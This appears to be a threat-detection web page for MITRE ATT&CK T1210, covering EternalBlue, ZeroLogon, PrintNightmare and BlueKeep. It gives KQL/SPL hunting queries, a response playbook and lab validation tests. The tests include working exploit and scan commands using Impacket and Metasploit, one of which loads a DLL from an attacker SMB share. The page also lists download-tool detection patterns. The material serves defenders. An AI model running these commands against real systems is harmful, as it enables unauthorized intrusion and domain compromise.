T1210

Exploitation of Remote Services

Lateral Movement Last updated:

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation occurs when an adversary takes advantage of a programming error in a program, service, or OS kernel to execute adversary-controlled code. Common targets include SMB (EternalBlue/MS17-010 — used by WannaCry, NotPetya, Emotet, QakBot, Bad Rabbit, APT28, Ember Bear), RDP (BlueKeep CVE-2019-0708 — used by InvisiMole, Fox Kitten), Active Directory Netlogon (ZeroLogon CVE-2020-1472 — used by Wizard Spider, Earth Lusca), Windows Print Spooler (PrintNightmare CVE-2021-1675/CVE-2021-34527 — used in ransomware operations), and VMware vCenter (VMSA-2024-0019 — ESXi hypervisor takeover). Post-exploitation typically manifests as unexpected child processes spawned from the exploited service (e.g., spoolsv.exe spawning cmd.exe), remote thread injection into privileged processes, or new services installed via SMB pipes. Successful exploitation may yield SYSTEM-level access, enabling further lateral movement, credential theft, or ransomware deployment.

What is T1210 Exploitation of Remote Services?

Exploitation of Remote Services (T1210) maps to the Lateral Movement tactic — the adversary is trying to move through your environment in MITRE ATT&CK.

This page provides production-ready detection logic for Exploitation of Remote Services, covering the data sources and telemetry it touches: Process: Process Creation, Process: OS API Execution, Microsoft Defender for Endpoint DeviceProcessEvents, Microsoft Defender for Endpoint DeviceEvents. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Lateral Movement
Technique
T1210 Exploitation of Remote Services
Canonical reference
https://attack.mitre.org/techniques/T1210/
Microsoft Sentinel / Defender
kusto 
let ExploitableServiceParents = dynamic([
    "spoolsv.exe",
    "lsass.exe",
    "services.exe",
    "winlogon.exe",
    "w3wp.exe",
    "sqlservr.exe",
    "vmtoolsd.exe"
]);
let SuspiciousChildProcesses = dynamic([
    "cmd.exe", "powershell.exe", "pwsh.exe",
    "net.exe", "net1.exe", "whoami.exe",
    "certutil.exe", "mshta.exe", "wscript.exe", "cscript.exe",
    "regsvr32.exe", "rundll32.exe", "msiexec.exe", "curl.exe", "wget.exe"
]);
// Branch 1: Unexpected shell or tool spawned directly from a network-facing or privileged service process
// This is the most reliable indicator of successful remote exploitation (PrintNightmare, ZeroLogon, SQL CVEs, VMware CVEs)
let ServiceChildExploit = DeviceProcessEvents
| where Timestamp > ago(24h)
| where InitiatingProcessFileName has_any (ExploitableServiceParents)
| where FileName has_any (SuspiciousChildProcesses)
| extend ExploitType = case(
    InitiatingProcessFileName =~ "spoolsv.exe",   "PrintSpooler-PrintNightmare-CVE-2021-1675",
    InitiatingProcessFileName =~ "lsass.exe",     "LSASS-ZeroLogon-CVE-2020-1472",
    InitiatingProcessFileName =~ "w3wp.exe",      "IIS-WebServer-Exploitation",
    InitiatingProcessFileName =~ "sqlservr.exe",  "SQLServer-Exploitation-CVE-2016-6662",
    InitiatingProcessFileName =~ "vmtoolsd.exe",  "VMware-Tools-Exploitation",
    InitiatingProcessFileName =~ "winlogon.exe",  "AuthService-Exploitation",
    "ServiceProcess-Exploitation"
)
| extend DetectionBranch = "ServiceChildExploit"
| extend ExploitContext = strcat(InitiatingProcessFileName, " -> ", FileName)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         ExploitType, DetectionBranch, ExploitContext;
// Branch 2: Remote thread injection from a service process into another process
// Indicates code injection following memory corruption exploit (e.g., EternalBlue shellcode injecting into winlogon)
let RemoteThreadInject = DeviceEvents
| where Timestamp > ago(24h)
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName has_any (ExploitableServiceParents)
| extend ExploitType = "RemoteThreadInjection-PostServiceExploit"
| extend DetectionBranch = "RemoteThreadInjection"
| extend ExploitContext = strcat("Injector: ", InitiatingProcessFileName, " -> Target: ", FileName)
| project Timestamp, DeviceName,
         AccountName = InitiatingProcessAccountName,
         FileName,
         ProcessCommandLine = "",
         InitiatingProcessFileName, InitiatingProcessCommandLine,
         ExploitType, DetectionBranch, ExploitContext;
union ServiceChildExploit, RemoteThreadInject
| sort by Timestamp desc

Detects post-exploitation activity following successful remote service exploitation using two branches: (1) unexpected shell or tool processes (cmd.exe, powershell.exe, certutil.exe, etc.) spawned directly by network-facing or privileged service processes — the primary indicator of successful PrintNightmare (spoolsv.exe), ZeroLogon (lsass.exe), IIS CVEs (w3wp.exe), SQL Server exploitation (sqlservr.exe), and VMware tool exploits (vmtoolsd.exe); (2) remote thread injection calls originating from those same service processes, indicative of EternalBlue-style shellcode injecting into processes post-exploitation. The ExploitType field maps the parent process to the most likely vulnerability class.

critical severity medium confidence

Data Sources

Process: Process Creation Process: OS API Execution Microsoft Defender for Endpoint DeviceProcessEvents Microsoft Defender for Endpoint DeviceEvents

Required Tables

DeviceProcessEvents DeviceEvents

False Positives

  • Legitimate print spooler activity during driver installation may spawn msiexec.exe or rundll32.exe (spoolsv.exe -> msiexec.exe with a known printer vendor path)
  • SQL Server maintenance stored procedures or external scripts that invoke cmd.exe for backup/restore operations (sqlservr.exe -> cmd.exe with well-known backup tool paths)
  • IIS application pools running ASP.NET applications that legitimately shell out to cmd.exe for document conversion, PDF generation, or file operations (w3wp.exe -> cmd.exe in specific application pools)
  • VMware Tools performing guest customization or cloning operations that invoke PowerShell scripts for network configuration (vmtoolsd.exe -> powershell.exe during clone finalization)

Sigma rule & cross-platform mapping

The detection logic for Exploitation of Remote Services (T1210) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  category: process_creation
  product: windows

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for T1210 Sigma rules on detection.fyi

Platform-specific guides for T1210

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-04-19 Research depth: deep
References (10)

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1EternalBlue SMB Vulnerability Scan (MS17-010 Detection)

    Expected signal: Sysmon EventID 3 (Network Connection): outbound TCP connections from nmap to <target_lab_ip>:445. On the target Windows host: Security Event ID 5145 (network share access) and potentially IDS/IPS alerts on SMB probe patterns. On the scanning host: no Sysmon events (Linux), but EDR network telemetry shows port 445 probe.

  2. Test 2ZeroLogon Vulnerability Check via Impacket (CVE-2020-1472)

    Expected signal: Network connections from testing host to DC on TCP 135 (RPC endpoint mapper) and the dynamically assigned Netlogon RPC port. On the DC: Security Event ID 4742 (Computer Account Changed) if exploitation proceeds, Security Event ID 4625 (Logon Failure) for failed authentication attempts, and Netlogon EventID 5829/5827 (vulnerable Netlogon secure channel connection denied if patch is applied). Windows Defender will generate Alert: Zerologon exploitation attempt if Defender ATP is active.

  3. Test 3PrintNightmare Exploitation via Impacket CVE-2021-1675

    Expected signal: On the target host: Sysmon EventID 1 (Process Create) with ParentImage=C:\Windows\System32\spoolsv.exe spawning rundll32.exe or the payload process. Sysmon EventID 7 (Image Load) showing spoolsv.exe loading a DLL from a UNC path (\\attacker\share\nightmare.dll). Security Event ID 316 (Print Spooler: driver installation) in Microsoft-Windows-PrintService/Admin log. File creation event (Sysmon EventID 11) for the DLL written to C:\Windows\System32\spool\drivers\x64\3\.

  4. Test 4BlueKeep RDP Vulnerability Check (CVE-2019-0708)

    Expected signal: Sysmon EventID 3 (Network Connection): outbound TCP connections to <target_lab_ip>:3389. On the target: Security Event ID 4625 (Logon Failure) for the authentication probe packets. IDS/IPS alerts for RDP scan signatures. Windows Defender ATP may generate a BlueKeep vulnerability detection alert on the target host based on the probe packet signatures. On the target, Security Event ID 4625 with LogonType=3 and unusual source IP.

Response Playbook

Triage

  1. Identify the exploited service from the ExploitType/parent process field — spoolsv.exe suggests PrintNightmare, lsass.exe suggests ZeroLogon or credential-based exploit, w3wp.exe suggests an IIS CVE, sqlservr.exe suggests a SQL Server CVE, vmtoolsd.exe suggests a VMware exploit
  2. Review the full child process command line — is it a reconnaissance command (whoami, ipconfig, net user), a download cradle (certutil -urlcache, curl, Invoke-WebRequest), or a persistence mechanism (net user /add, reg add, schtasks)?
  3. Check when the parent service last had a vulnerability patch applied — query the affected host's patch level: wmic qfe list | findstr <CVE_KB> or check Microsoft Defender Vulnerability Management for the device
  4. Examine whether the event is isolated to a single endpoint or whether multiple devices show the same pattern simultaneously — simultaneous events across many hosts indicates automated worm-style propagation (EternalBlue, WannaCry pattern)
  5. Check for inbound network connections to the exploited service port immediately before the suspicious process creation — Sysmon Event ID 3 or DeviceNetworkEvents on port 445 (SMB), 3389 (RDP), 1433 (SQL), 135 (RPC) in the 60 seconds preceding the alert
  6. Assess the user context of the spawned process — SYSTEM-level execution from spoolsv.exe or services.exe is extremely suspicious; standard user context from w3wp.exe may indicate web application misuse rather than exploitation

Containment

  1. Immediately isolate the affected endpoint from the network using EDR isolation (Microsoft Defender: Isolate Device action) or emergency VLAN quarantine to prevent further lateral movement while investigation proceeds
  2. If PrintNightmare (spoolsv.exe parent) is confirmed: stop and disable the Print Spooler service on the affected host and all non-print-servers in the environment: Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled
  3. If ZeroLogon (lsass.exe parent on a domain controller) is confirmed: immediately reset the affected DC machine account password and audit all Kerberos TGT issuances in the past 24 hours; rotate the KRBTGT account password twice to invalidate existing Kerberos tickets
  4. If SMB exploitation (EternalBlue pattern) is confirmed: block TCP port 445 at the perimeter and between network segments via firewall rule; verify SMBv1 is disabled across the environment: Get-SmbServerConfiguration | Select EnableSMB1Protocol
  5. If the exploit resulted in a new service being installed or a new local admin account being created, disable the account/service immediately and preserve forensic evidence before deletion
  6. Deploy emergency patch if the vulnerability is unpatched — escalate to patch management for emergency out-of-band deployment; if patching is not immediately possible, apply vendor mitigations (registry keys, service disablement, network segmentation)

Evidence Collection

  1. Process tree from the exploited service: capture all child and grandchild processes spawned by the parent service using Get-CimInstance Win32_Process | Where-Object {$_.ParentProcessId -eq <spoolsv_pid>} or via EDR process tree view
  2. Memory dump of the exploited service process for shellcode analysis: procdump.exe -ma <pid> <output_path> — preserve before process restart
  3. Windows Event Log: Security Event ID 4624 (Logon) with LogonType 3 (Network) and null NTLMv2 or unusual Kerberos tickets issued to the affected host in the 5-minute window before exploitation
  4. Windows Event Log: System Event ID 7045 (Service Installed) — check for new services registered with unusual binary paths, often written to C:\Windows\Temp\ or C:\ProgramData\ by exploit frameworks
  5. Network packet capture from the affected host in the exploitation window: netsh trace start capture=yes tracefile=C:\temp\exploit-capture.etl — if triggered post-fact, retrieve NetFlow/PCAP from network TAP or IDS for port 445/3389/135
  6. Sysmon Event ID 11 (File Created) and Sysmon Event ID 15 (File Create Stream Hash) for any files written by the parent service process around the time of exploitation — check temp directories, Windows\System32, and user profile paths
  7. Windows Prefetch files at C:\Windows\Prefetch\ for any tools executed by the attacker — sorted by modification time to identify execution sequence
  8. Active Directory replication metadata if ZeroLogon is suspected: repadmin /showrepl and audit of msDS-KeyCredentialLink attribute on the DC machine account

Escalation Criteria

  • ! Domain Controller compromised — if the exploited service is on a DC, treat as Critical P0 incident; attacker may have achieved domain compromise; escalate to CISO and activate IR retainer immediately
  • ! Worm-like propagation detected — same exploitation pattern firing across 3+ hosts within a 10-minute window indicates automated lateral movement (WannaCry, NotPetya pattern); escalate to network-level containment
  • ! SYSTEM-level shell confirmed — whoami output captured showing NT AUTHORITY\SYSTEM execution means full host compromise; no further privilege escalation needed by attacker
  • ! Active exploitation of an unpatched CVE — if the vulnerability is confirmed unpatched, the attacker may have persistent access even after the initial session is terminated; treat as ongoing compromise
  • ! Evidence of credential harvesting post-exploitation — Sysmon Event ID 10 showing process access to lsass.exe with GrantedAccess 0x1010 or 0x1410 indicates attacker is extracting credentials for network-wide pivot
  • ! VMware ESXi or vCenter exploitation — compromise of hypervisor infrastructure gives attacker control over all guest VMs; treat as infrastructure-level incident requiring emergency change management and vendor engagement

Investigation Guide

Forensic Artifacts

  • > Windows Event Log: System Event ID 7045 at C:\Windows\System32\winevt\Logs\System.evtx — new service creation by exploit frameworks (Metasploit, Impacket) typically registers a service with a random name and a binary path in a temp directory
  • > File System: C:\Windows\Temp\ and C:\ProgramData\ — exploit shellcode drop locations; look for .exe, .dll, .bat files with creation timestamps matching exploitation window
  • > File System: C:\Windows\System32\spool\drivers\x64\3\ — PrintNightmare DLL staging location; look for foreign DLL files written by spoolsv.exe
  • > Registry: HKLM\SYSTEM\CurrentControlSet\Services\ — new service entries created by exploit post-exploitation; look for ImagePath values pointing to unusual locations
  • > Named Pipes: \\<host>\pipe\ — EternalBlue and related SMB exploits use named pipes for communication; artifacts visible in Sysmon Event ID 17/18 (PipeEvent)
  • > Memory: lsass.exe minidump at C:\Windows\Temp\ or C:\ProgramData\ — often created by attacker immediately post-exploitation to extract credentials
  • > Network: SMB session records in the System event log (Event IDs 5140, 5145) showing file share access from an unexpected source IP immediately before exploitation
  • > Active Directory: DC machine account password reset timestamp and Kerberos TGT issuances in Event ID 4768 on the KDC — ZeroLogon resets the machine account password to null, then forges Kerberos tickets

Tuning Guidance

The primary sources of false positives are legitimate administrative tools that use the same service-parent-to-child-shell pattern for authorized purposes. Begin by inventorying all application pools in IIS (w3wp.exe parents) and confirming which ones legitimately shell out to cmd.exe or PowerShell — add the specific IIS site name or AppPoolId to an allowlist. For SQL Server (sqlservr.exe parent), work with the DBA team to identify all xp_cmdshell-using stored procedures and their expected child process paths, then exclude those specific CommandLine patterns. For spoolsv.exe, the legitimate pattern is typically msiexec.exe with a vendor MSI path — exclude specific known-good printer vendor MSI paths (e.g., HP, Xerox, Canon) by full path match rather than wildcard. For vmtoolsd.exe on VMware-managed infrastructure, the legitimate pattern is PowerShell scripts in C:\Program Files\VMware\ — exclude that specific directory. Never suppress alerts based on AccountName=SYSTEM alone, as that context is precisely what makes exploitation dangerous. For the SMB scanning hunt query, tune the SMBTargets threshold based on your environment's normal lateral movement baseline (file server access, DFS replication, backup agents) — start at 5 unique targets in 5 minutes and adjust upward if backup agents cause excessive noise, but not above 10. Enable Security Event ID 7045 auditing if not already active via Group Policy: Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy -> System -> Audit Security System Extension.

Hunting Queries

Hunt for hosts making rapid SMB connections to multiple internal targets from unusual initiating processes — the primary network-level indicator of EternalBlue/WannaCry-style SMB worm propagation. A single host connecting to 5+ unique internal IP addresses on port 445 from a non-standard process indicates active exploitation attempts. SMBTargets > 15 is likely automated worm propagation.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort in (445, 139)
| where InitiatingProcessFileName !in~ ("svchost.exe", "System", "lsass.exe", "explorer.exe", "MsMpEng.exe")
| summarize SMBTargets=dcount(RemoteIP), TotalConns=count(), TargetIPs=make_set(RemoteIP, 30), FirstSeen=min(Timestamp), LastSeen=max(Timestamp)
    by DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine
| where SMBTargets > 5 or TotalConns > 20
| extend SweepIndicator = iff(SMBTargets > 15, "LikelySMBWorm", "SMBLateralMovement")
| sort by SMBTargets desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(DestinationPort=445 OR DestinationPort=139)
NOT (Image="*\\svchost.exe" OR Image="*\\lsass.exe" OR Image="*\\explorer.exe" OR Image="*\\MsMpEng.exe")
NOT (DestinationIp="127.*" OR DestinationIp="::1")
| stats dc(DestinationIp) as SMBTargets, count as TotalConns, values(DestinationIp) as TargetIPs, earliest(_time) as FirstSeen, latest(_time) as LastSeen by host, Image, CommandLine
| where SMBTargets > 5 OR TotalConns > 20
| eval SweepIndicator=if(SMBTargets > 15, "LikelySMBWorm", "SMBLateralMovement")
| sort - SMBTargets

Hunt for new Windows service installations with binary paths outside standard system and program directories — the classic Metasploit/Impacket/psexec post-exploitation indicator. After gaining SYSTEM via SMB exploitation, attackers frequently install a new service (often with a random name) pointing to a dropped payload in C:\Temp\ or C:\ProgramData\. HighRisk-TempOrUserPath indicates likely malicious installation; review all findings from this query.

Hunting — KQL
kql 
SecurityEvent
| where TimeGenerated > ago(7d)
| where EventID == 7045
| extend ServiceImagePath = tostring(EventData.ImagePath)
| extend ServiceName = tostring(EventData.ServiceName)
| extend ServiceAccount = tostring(EventData.ServiceAccount)
| where ServiceImagePath !startswith @"C:\Windows\system32\"
    and ServiceImagePath !startswith @"C:\Windows\SysWow64\"
    and ServiceImagePath !startswith @"C:\Program Files\"
    and ServiceImagePath !startswith @"C:\Program Files (x86)\"
    and ServiceImagePath !startswith @"\SystemRoot\"
    and ServiceImagePath !startswith @"%SystemRoot%"
| extend SuspiciousPath = iff(
    ServiceImagePath has_any (@"C:\Temp\", @"C:\ProgramData\", @"C:\Users\", @"C:\Windows\Temp\", @"%TEMP%"),
    "HighRisk-TempOrUserPath", "MediumRisk-NonStandardPath"
)
| project TimeGenerated, Computer, SubjectUserName, ServiceName, ServiceImagePath, ServiceAccount, SuspiciousPath
| sort by TimeGenerated desc
Hunting — SPL
spl 
index=wineventlog sourcetype="WinEventLog:System" EventCode=7045
| rex field=Message "Service Name:\s+(?<ServiceName>[^\n]+)"
| rex field=Message "Service File Name:\s+(?<ServiceImagePath>[^\n]+)"
| rex field=Message "Service Account:\s+(?<ServiceAccount>[^\n]+)"
| where NOT match(ServiceImagePath, "(?i)(C:\\Windows\\system32|C:\\Windows\\SysWow64|C:\\Program Files|%SystemRoot%|\\SystemRoot)")
| eval SuspiciousPath=if(match(ServiceImagePath, "(?i)(C:\\Temp|C:\\ProgramData|C:\\Users|C:\\Windows\\Temp|%TEMP%|%APPDATA%)"), "HighRisk-TempOrUserPath", "MediumRisk-NonStandardPath")
| table _time, host, ServiceName, ServiceImagePath, ServiceAccount, SuspiciousPath
| sort - _time

Correlate network connections to common exploitation target ports (SMB 445, RDP 3389, RPC 135, SMB 139, SQL 1433) with post-exploitation shell spawning on the same host within the same 5-minute window. This join-based hunt finds hosts where external network probing to exploit-relevant ports coincides with suspicious service-process-to-shell activity — indicating the full exploit chain: scan -> connect -> exploit -> shell.

Hunting — KQL
kql 
let ExploitPorts = dynamic([445, 3389, 135, 139, 1433]);
let NetworkAccess = DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort has_any (ExploitPorts)
| where InitiatingProcessFileName !in~ ("svchost.exe", "System", "lsass.exe", "MsMpEng.exe")
| summarize NetworkConns=count(), Ports=make_set(RemotePort) by DeviceName, bin(Timestamp, 5m);
let PostExploitShells = DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("spoolsv.exe", "lsass.exe", "services.exe", "w3wp.exe", "sqlservr.exe", "vmtoolsd.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "net.exe", "whoami.exe")
| summarize ShellCount=count(), ChildProcesses=make_set(FileName) by DeviceName, bin(Timestamp, 5m);
NetworkAccess
| join kind=inner (PostExploitShells) on DeviceName, Timestamp
| project DeviceName, Timestamp, NetworkConns, Ports, ShellCount, ChildProcesses
| sort by ShellCount desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational"
| eval IsNetworkExploitConn=if(EventCode=3 AND (DestinationPort=445 OR DestinationPort=3389 OR DestinationPort=135 OR DestinationPort=1433 OR DestinationPort=139) AND NOT match(Image, "(?i)(svchost|lsass|MsMpEng)\.exe"), 1, 0)
| eval IsPostExploitShell=if(EventCode=1 AND match(ParentImage, "(?i)(spoolsv|lsass|services|w3wp|sqlservr|vmtoolsd)\.exe") AND match(Image, "(?i)(cmd|powershell|pwsh|net|whoami)\.exe"), 1, 0)
| eval FiveMinBucket=strftime(round(_time/300)*300, "%Y-%m-%dT%H:%M:%S")
| stats sum(IsNetworkExploitConn) as NetworkConns, sum(IsPostExploitShell) as ShellLaunches by host, FiveMinBucket
| where NetworkConns > 0 AND ShellLaunches > 0
| sort - ShellLaunches

Atomic Red Team Tests

Test 1 EternalBlue SMB Vulnerability Scan (MS17-010 Detection)
linux

Uses nmap's SMB vulnerability script to check whether target hosts in a lab environment are vulnerable to EternalBlue (MS17-010) and EternalRomance (MS10-061). This simulates the reconnaissance phase attackers use prior to launching SMB exploitation for lateral movement. Run against an authorized lab target with an unpatched Windows Server 2008 R2 or Windows 7 VM. This generates Sysmon EventID 3 network connection events from nmap to port 445.

Command

bash 
nmap -p 445 --script smb-vuln-ms17-010,smb-vuln-ms10-061 --script-args unsafe=1 <target_lab_ip>

Expected Telemetry

Sysmon EventID 3 (Network Connection): outbound TCP connections from nmap to <target_lab_ip>:445. On the target Windows host: Security Event ID 5145 (network share access) and potentially IDS/IPS alerts on SMB probe patterns. On the scanning host: no Sysmon events (Linux), but EDR network telemetry shows port 445 probe.

Expected Detection

The SMB scanning hunt query fires: nmap connecting to port 445 across the target IP. If vulnerability is confirmed and exploitation proceeds, ServiceChildExploit branch fires when spoolsv.exe or services.exe spawns cmd.exe on the target.

Test 2 ZeroLogon Vulnerability Check via Impacket (CVE-2020-1472)
linux

Uses Impacket's zerologon_tester.py script to check whether a domain controller in a lab environment is vulnerable to the ZeroLogon vulnerability (CVE-2020-1472). This is a passive check that attempts to establish a Netlogon connection with zero-filled credentials — if the DC does not have the August 2020 patch applied, it will respond indicating vulnerability. Run only against an authorized lab DC. This generates network connections to port 135/445 and Security Event ID 4742 (Computer Account Changed) if the exploit is triggered.

Command

bash 
python3 /opt/impacket/examples/zerologon_tester.py <DC_NetBIOS_NAME> <DC_IP>

Cleanup

bash 
If the machine account password was reset by the test, restore it immediately: python3 /opt/impacket/examples/reinstall_original_pw.py <domain>/<DC_NetBIOS_NAME> <DC_IP> <original_nt_hash>

Expected Telemetry

Network connections from testing host to DC on TCP 135 (RPC endpoint mapper) and the dynamically assigned Netlogon RPC port. On the DC: Security Event ID 4742 (Computer Account Changed) if exploitation proceeds, Security Event ID 4625 (Logon Failure) for failed authentication attempts, and Netlogon EventID 5829/5827 (vulnerable Netlogon secure channel connection denied if patch is applied). Windows Defender will generate Alert: Zerologon exploitation attempt if Defender ATP is active.

Expected Detection

LSASS-ZeroLogon branch fires if post-exploitation shell is spawned from lsass.exe on the DC. The SMB scanning hunt query detects the initial RPC/Netlogon probe. Active Directory Security Event 4742 for computer account modification is a strong escalation indicator.

Test 3 PrintNightmare Exploitation via Impacket CVE-2021-1675
linux

Simulates PrintNightmare exploitation using Impacket's CVE-2021-1675.py against a lab target with an unpatched print spooler. The attack loads a DLL through the Windows Print Spooler RpcAddPrinterDriverEx API call, causing spoolsv.exe to execute code from the attacker-controlled DLL path. In this test, the DLL path points to a benign DLL that writes a file to C:\Windows\Temp\printnightmare-test.txt as evidence. Run only against an authorized lab target running an unpatched Windows Server 2019 or Windows 10.

Command

bash 
python3 /opt/impacket/examples/CVE-2021-1675.py <domain>/<username>:<password>@<target_lab_ip> '\\<attacker_smb_share>\share\nightmare.dll'

Cleanup

bash 
del C:\Windows\Temp\printnightmare-test.txt (run on target) and remove the test DLL from the SMB share

Expected Telemetry

On the target host: Sysmon EventID 1 (Process Create) with ParentImage=C:\Windows\System32\spoolsv.exe spawning rundll32.exe or the payload process. Sysmon EventID 7 (Image Load) showing spoolsv.exe loading a DLL from a UNC path (\\attacker\share\nightmare.dll). Security Event ID 316 (Print Spooler: driver installation) in Microsoft-Windows-PrintService/Admin log. File creation event (Sysmon EventID 11) for the DLL written to C:\Windows\System32\spool\drivers\x64\3\.

Expected Detection

ServiceChildExploit branch fires immediately: spoolsv.exe -> child process creation with ExploitType=PrintSpooler-PrintNightmare-CVE-2021-1675. In Splunk, IsServiceChildExploit=1 with ExploitType=PrintSpooler-PrintNightmare. The Sysmon EventID 7 image load from a network path (spoolsv.exe loading \\share\dll) is an additional high-confidence indicator.

Test 4 BlueKeep RDP Vulnerability Check (CVE-2019-0708)
linux

Uses nmap's rdp-vuln-ms12-020 script and a custom BlueKeep check module to identify RDP services vulnerable to pre-authentication remote code execution. BlueKeep affects Windows 7, Windows Server 2008, and Windows Server 2008 R2. If CVE-2019-0708 scanning is available via Metasploit auxiliary module, include it. This test generates RDP network connections on port 3389 and may trigger IDS signatures for the specific probe packets. Run against an authorized lab target only.

Command

bash 
nmap -p 3389 --script rdp-vuln-ms12-020 <target_lab_ip> && msfconsole -q -x "use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS <target_lab_ip>; set RPORT 3389; run; exit"

Expected Telemetry

Sysmon EventID 3 (Network Connection): outbound TCP connections to <target_lab_ip>:3389. On the target: Security Event ID 4625 (Logon Failure) for the authentication probe packets. IDS/IPS alerts for RDP scan signatures. Windows Defender ATP may generate a BlueKeep vulnerability detection alert on the target host based on the probe packet signatures. On the target, Security Event ID 4625 with LogonType=3 and unusual source IP.

Expected Detection

The SMB/lateral movement scanning hunt query detects rapid RDP port 3389 connections. If exploitation succeeds and a shell is spawned, ServiceChildExploit fires with parent process winlogon.exe -> cmd.exe or powershell.exe. Network-based IDS should fire on the specific BlueKeep probe packets (malformed RDP pdu with channel ID 0x003 in channel binding).

Related Detections

Tactic Hub

TA0008Lateral Movement

Related Techniques

T1046Network Service DiscoveryT1068Exploitation for Privilege EscalationT1021.002SMB/Windows Admin SharesT1021.001Remote Desktop ProtocolT1543.003Windows ServiceT1003.001LSASS MemoryT1105Ingress Tool TransferT1570Lateral Tool TransferT1190Exploit Public-Facing Application

Same Tactic: Lateral Movement

Popular Detections